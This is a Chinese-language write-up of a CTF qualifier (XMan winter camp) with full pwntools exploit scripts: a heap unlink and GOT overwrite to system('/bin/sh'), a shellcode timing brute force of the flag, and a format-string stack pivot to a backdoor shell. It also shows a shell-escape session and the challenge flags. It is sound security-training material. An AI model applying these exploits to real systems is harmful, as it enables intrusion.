【WriteUp】第三届“华为杯”XMan冬令营选拔赛题解

今年题是不是比去年简单

Pwn

baby_arm

Description:

nc 139.9.133.160 10000


Solution:

原本以为 arm 是根本看不懂的,不过堆管理机制这貌似跟 linux 一样

这里贴题目代码:

1.add_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void add_note()
{
void *v0; // r1
size_t size; // [sp+4h] [bp+4h]
int i; // [sp+8h] [bp+8h]

if ( count <= 20 )
{
for ( i = 0; i <= 19; ++i )
{
if ( !notelist[i] )
{
printf("Note size :");
_isoc99_scanf("%d", &size);
v0 = malloc(size);
notelist[i] = v0;
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i], size);
puts("Done it");
++count;
return;
}
}
}
else
{
puts("Full");
}
}

2.del_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int del_note()
{
int result; // r0
int v1; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1);
if ( result < 0 || result >= count )
{
puts("Out of bound!");
exit(0);
}
if ( notelist[result] )
{
free(notelist[result]);
result = puts("Done it");
}
return result;
}

3.print_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int print_note()
{
int result; // r0
int v1; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1);
if ( result < 0 || result >= count )
{
puts("Out of bound!");
exit(0);
}
if ( notelist[result] )
result = puts((const char *)notelist[result]);
return result;
}

4.edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *edit()
{
void *v0; // r3
int v2; // [sp+4h] [bp+4h]
int v3; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v3, 4u);
v2 = atoi((const char *)&v3);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
exit(0);
}
v0 = notelist[v2];
if ( v0 )
{
puts("You content:");
read(0, notelist[v2], 0x10u);
}
return v0;
}

存在 UAF 和隐藏的 edit 函数,靠 unlink 劫持记载堆的地址,改写为 got_free 和 got_atoi

之后用 edit 修改 got_free 内部,使其指向 ptr_puts,然后释放之前把地址改成 got_atoi 的下标,以此泄露 libc 基地址

之后改写 got_free 为 addr_system,释放一个写着/bin/sh的字符串的堆就能提权

注意有全局变量 count 检测堆的数量,多申请几个就绕过去了

这里推荐一个查 libc 的网址:https://libc.nullbyte.cat

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 3
context(log_level="debug", arch="arm", os="linux")
if debug == 1:
p = process(['qemu-arm', '-g', '12345', '-L', '/usr/arm-linux-gnueabihf', './chall'])
elif debug == 2:
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabihf', './chall'])
else:
p = remote('139.9.133.160', 10000)
elf = ELF('./chall', checksec=False)


def add(add_size, add_content):
p.sendafter(' your choice: \n', '1')
p.sendlineafter('Note size :', str(add_size))
p.sendafter('Content :', add_content)


def delete(delete_idx):
p.sendafter(' your choice: \n', '2')
p.sendlineafter('Index :', str(delete_idx))


def show(show_idx):
p.sendafter(' your choice: \n', '3')
p.sendafter('Index :', str(show_idx))


def edit(edit_idx, edit_content):
p.sendafter(' your choice: \n', '5')
p.sendafter('Index :', str(edit_idx))
p.sendafter('You content:', edit_content)


got_free = elf.got['free']
got_atoi = elf.got['atoi']
plt_puts = elf.plt['puts']
addr_notelist = 0x02108c
addr_count = 0x021064

p.sendlineafter('Tell me your name:', 'binLep')
add(0x40, 'a' * 4) # 1
add(0x80, 'b' * 4) # 2
add(0x80, 'c' * 4) # 3
delete(1)
delete(2)
pd = p32(0) + p32(0x81)
pd += p32(addr_notelist - 0xc) + p32(addr_notelist - 0x8)
pd += 'd' * 0x70
pd += p32(0x80) + p32(0x80)
add(0x100, pd) # 4
delete(2)
pd = p32(0) + p32(0)
pd += p32(got_atoi) + p32(got_free)
edit(1, pd)
add(0x80, '/bin/sh') # 5
add(0x80, '/bin/sh') # 6
add(0x80, '/bin/sh') # 7
add(0x80, '/bin/sh') # 8
add(0x80, '/bin/sh') # 9
edit(1, p32(plt_puts))
delete(0)

addr_atoi = u32(p.recv(4))
libcbase = addr_atoi - 0x025271
addr_system = libcbase + 0x02c771
addr_bin_sh = libcbase + 0x0ca574

edit(1, p32(addr_system))
success('addr_atoi = ' + hex(addr_atoi))
success('addr_system = ' + hex(addr_system))
delete(7)
p.interactive()

Flag:

1
flag{95633964-1915-4d63-9164-8b6b153ffe3b}

NoooCall

Description:

I feel sooo safe. nc 121.36.64.245 10003


Solution:

这题思路是固定的,主要就是爆破

看题发现只允许你写不超过 0x10 大小的 shellcode,实在狠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v3; // ST10_8
void *buf; // ST18_8
FILE *v6; // [rsp+8h] [rbp-28h]

sub_B91(a1, a2, a3);
v6 = fopen("./flag.txt", "r");
if ( !v6 )
exit(1);
v3 = mmap((void *)0x200000000LL, 0x2000uLL, 3, 34, -1, 0LL);
buf = mmap((void *)0x300000000LL, 0x20000uLL, 7, 34, -1, 0LL);
_isoc99_fscanf(v6, "%s", v3);
printf("Your Shellcode >>");
read(0, buf, 0x10uLL);
sub_C34(0LL, buf);
((void (*)(void))buf)();
return 0LL;
}

一开始我打算用 xchg 扩大空间然后用 read 系统调用进行二次利用,但是失败了,后来发现这题有沙箱

1
2
3
4
5
6
7
8
9
10
unsigned __int64 sub_C34()
{
unsigned __int64 v0; // ST08_8
__int64 v1; // ST00_8

v0 = __readfsqword(0x28u);
v1 = seccomp_init(0LL);
seccomp_load(v1);
return __readfsqword(0x28u) ^ v0;
}

所有系统调用全都凉凉,所以这个思路就 pass 了

但是通过本地测试,可以发现 flag 的内容会被加载到地址0x200000000,所以我们可以逐个爆破

1
2
3
4
5
6
7
8
00:0000rsp  0x7ffe7900ae500x7ffe7900ae7e0x559b87366db0f5c7
01:00080x7ffe7900ae580x559b87ab30100xfbad2488
02:00100x7ffe7900ae600x200000000'flag{asasdasdsad}'
03:00180x7ffe7900ae680x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
... ↓
05:00280x7ffe7900ae780xf5c7bae0a1f13200
06:0030rbp 0x7ffe7900ae800x559b87366db0push r15
07:00380x7ffe7900ae880x7f7e0bc08830 (__libc_start_main+240) ← mov edi, eax

题目主要还是考察汇编的基础,爆破思路就是如果字符一样,就用 shellcode 死循环这段代码,匹配不一样就直接报错

这样看 EOF 报错信息出现的时间长短就能够判断某个位置上面存在的字符到底是哪一个了

这里贴一下代码运行前后的调试结果:

shellcode运行前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7f7e0bce9400 (closelog+48) ← sub rsp, 0x80
RDX 0x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
RDI 0xffffffff
RSI 0x7f7e0bfacb28 (main_arena+8) → 0x559b87ab42c00x0
R8 0x559b87ab42d00x559b87ab43d00x0
R9 0x0
R10 0x0
R11 0x246
R12 0x559b87366a40xor ebp, ebp
R13 0x7ffe7900af600x1
R14 0x0
R15 0x0
RBP 0x7ffe7900ae800x559b87366db0push r15
RSP 0x7ffe7900ae480x559b87366d89mov eax, 0
RIP 0x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x300000000 mov rdi, qword ptr [rsp + 0x18]
0x300000005 movzx eax, byte ptr [rdi + 0x1f]
0x300000009 cmp al, 0x62
0x30000000b jne 0x30000000f

0x30000000f or al, byte ptr [rax]
0x300000011 add byte ptr [rax], al
0x300000013 add byte ptr [rax], al
0x300000015 add byte ptr [rax], al
0x300000017 add byte ptr [rax], al
0x300000019 add byte ptr [rax], al
0x30000001b add byte ptr [rax], al
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7ffe7900ae480x559b87366d89mov eax, 0
01:00080x7ffe7900ae500x7ffe7900ae7e0x559b87366db0f5c7
02:00100x7ffe7900ae580x559b87ab30100xfbad2488
03:00180x7ffe7900ae600x200000000'flag{asasdasdsad}'
04:00200x7ffe7900ae680x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
... ↓
06:00300x7ffe7900ae780xf5c7bae0a1f13200
07:0038rbp 0x7ffe7900ae800x559b87366db0push r15

shellcode运行后(不匹配)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7f7e0bce9400 (closelog+48) ← sub rsp, 0x80
RDX 0x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
RDI 0x200000000'flag{asasdasdsad}'
RSI 0x7f7e0bfacb28 (main_arena+8) → 0x559b87ab42c00x0
R8 0x559b87ab42d00x559b87ab43d00x0
R9 0x0
R10 0x0
R11 0x246
R12 0x559b87366a40xor ebp, ebp
R13 0x7ffe7900af600x1
R14 0x0
R15 0x0
RBP 0x7ffe7900ae800x559b87366db0push r15
RSP 0x7ffe7900ae480x559b87366d89mov eax, 0
RIP 0x30000000f0xa /* '\n' */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x300000000 mov rdi, qword ptr [rsp + 0x18]
0x300000005 movzx eax, byte ptr [rdi + 0x1f]
0x300000009 cmp al, 0x62
0x30000000b jne 0x30000000f

0x30000000f or al, byte ptr [rax]
0x300000011 add byte ptr [rax], al
0x300000013 add byte ptr [rax], al
0x300000015 add byte ptr [rax], al
0x300000017 add byte ptr [rax], al
0x300000019 add byte ptr [rax], al
0x30000001b add byte ptr [rax], al
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7ffe7900ae480x559b87366d89mov eax, 0
01:00080x7ffe7900ae500x7ffe7900ae7e0x559b87366db0f5c7
02:00100x7ffe7900ae580x559b87ab30100xfbad2488
03:00180x7ffe7900ae600x200000000'flag{asasdasdsad}'
04:00200x7ffe7900ae680x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x47b60f18247c8b48 */
... ↓
06:00300x7ffe7900ae780xf5c7bae0a1f13200
07:0038rbp 0x7ffe7900ae800x559b87366db0push r15

Program received signal SIGSEGV (fault address 0x0)

shellcode运行后(匹配)

这里匹配的测试样例的 f 字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x66
RBX 0x0
RCX 0x7f79c8c0d400 (closelog+48) ← sub rsp, 0x80
RDX 0x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x7b60f18247c8b48 */
RDI 0x200000000'flag{asasdasdsad}'
RSI 0x7f79c8ed0b28 (main_arena+8) → 0x55578bc912c00x0
R8 0x55578bc912d00x55578bc913d00x0
R9 0x0
R10 0x0
R11 0x246
R12 0x55578b439a40xor ebp, ebp
R13 0x7fff56a879600x1
R14 0x0
R15 0x0
RBP 0x7fff56a878800x55578b439db0push r15
RSP 0x7fff56a878480x55578b439d89mov eax, 0
RIP 0x30000000ajne 0x30000000e /* 0xafeeb0275 */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
0x300000000 mov rdi, qword ptr [rsp + 0x18]
0x300000005 movzx eax, byte ptr [rdi]
0x300000008 cmp al, 0x66
0x30000000a jne 0x30000000e

0x30000000c jmp 0x30000000c

0x30000000c jmp 0x30000000c



──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7fff56a878480x55578b439d89mov eax, 0
01:00080x7fff56a878500x7fff56a8787e0x55578b439db0fe7b
02:00100x7fff56a878580x55578bc900100xfbad2488
03:00180x7fff56a878600x200000000'flag{asasdasdsad}'
04:00200x7fff56a878680x300000000mov rdi, qword ptr [rsp + 0x18] /* 0x7b60f18247c8b48 */
... ↓
06:00300x7fff56a878780xfe7bfd37a5f85300
07:0038rbp 0x7fff56a878800x55578b439db0push r15

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import string

debug = 0
context(log_level="debug", arch="amd64", os="linux")

num = 31
strstr = string.lowercase + '_{}' + string.digits + string.uppercase
for j in strstr:
if debug == 1:
p = process('./chall')
else:
p = remote('121.36.64.245', 10003)
# gdb.attach(p, "b *$reabse(0xD82)\nc")
pd = asm('''
mov rdi, [rsp + 0x18]
movzx eax, byte ptr[rdi + {}]
cmp al, {}
jnz exit
while:
jmp while
exit:
'''.format(str(num), ord(j)))
# info(hex(len(pd)))
success(str(num) + ' = ' + j)
p.sendlineafter('Your Shellcode >>', pd)
p.interactive()
p.close()

Flag:

1
xmanctf{y0ur_she11c0de_i3_grea7}

format

Description:

nc 119.3.172.70 10005


Solution:

程序会把字符串分成好几段小字符串,再一直 printf 格式化字符串漏洞输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax

puts("...");
v1 = strtok(s, "|");
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}

还有个后门

1
2
3
4
int sub_80485AB()
{
return system("/bin/sh");
}

跟着程序运行,可以发现最后有一堆leave ret,ebp 从0xffd54608开始一步步运行,这里有栈迁移的知识应该好理解一点

1
2
3
4
5
6
7
8
9
10
0b:002c│ ebp  0xffd546080xffd546280xffd546580xffd546680xffd54678 ← ...
0c:00300xffd5460c0x804864badd esp, 0x10
0d:00340xffd546100x936b008'%188d%10$hhn'
0e:00380xffd546140xf7efe010 (_dl_runtime_resolve+16) ← pop edx
0f:003c│ 0xffd546180xffd546580xffd546680xffd546780x0
10:00400xffd5461c0x37 /* '7' */
11:00440xffd546200x936b008'%188d%10$hhn'
12:00480xffd546240xf7de1b23 (__read_nocancel+25) ← pop ebx
13:004c│ 0xffd546280xffd546580xffd546680xffd546780x0
14:00500xffd5462c0x8048697add esp, 0x10

在这里我们把 ebp 上面的0xffd54658地址改成0xffd5462c,因为0x8048697这个地址和给的/bin/sh后门地址相近

再把0xffd54608 → 0xffd54628 → 0xffd5462c → 0x80486970x8048697改为后门地址就 ok

题目唯一难点就是栈地址的最后一位是不变的,也就是说第一步覆盖的时候最后一位0xc不会变

但是倒数第二位有 16 种可能,所以爆破一下就能提权,不过调试的时候手测还挺要命,我的 exp 是改后两位为 0xbc

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 0
# context(log_level="debug", arch="i386", os="linux")
while True:
try:
if debug == 1:
p = process('./chall')
else:
p = remote('119.3.172.70', 10005)

# gdb.attach(p, "b *0x080485F6\nc\nsi")
pd = '%188d%10$hhn|'
pd += '%34213dbinLep%18$hn'
p.sendline(pd)
p.recvuntil('binLep')
p.recv()
p.recv(timeout=1)
except EOFError:
p.close()
continue
else:
p.interactive()
p.close()
break

Flag:

1
flag{blind_f0rmat_str1ng_w1th_rbpppppp}

Misc

ShellMaster

Description:

nc 139.9.143.38 10004 flag格式为xman{}


Solution:

这好像是非预期,看群里说原本$应该是在黑名单才对

1
2
3
4
5
6
7
8
9
10
11
root@lepPwn:~/CTF/Pwn/arm# nc 139.9.143.38 10004
Welcome to shell master!
Start to wake up the shell ...
master@ubuntu:~$ $0
ls -x
2 1 1.SH 1.txt DASH DONEGREP FLAG.TXT OUT.TXT bin boot ctf dd
dev df etc flag home lib lib64 ln ls media mnt mv
opt proc ps rm root run sbin sh srv su sys tmp
usr var
head flag
xman{sh3llll_mast3r__13_uuuuuu!!!}

Flag:

1
xman{sh3llll_mast3r__13_uuuuuu!!!}
文章目录
  1. 1. Pwn
    1. 1.1. baby_arm
      1. 1.1.1. Description:
      2. 1.1.2. Solution:
      3. 1.1.3. Flag:
    2. 1.2. NoooCall
      1. 1.2.1. Description:
      2. 1.2.2. Solution:
      3. 1.2.3. Flag:
    3. 1.3. format
      1. 1.3.1. Description:
      2. 1.3.2. Solution:
      3. 1.3.3. Flag:
  2. 2. Misc
    1. 2.1. ShellMaster
      1. 2.1.1. Description:
      2. 2.1.2. Solution:
      3. 2.1.3. Flag:
|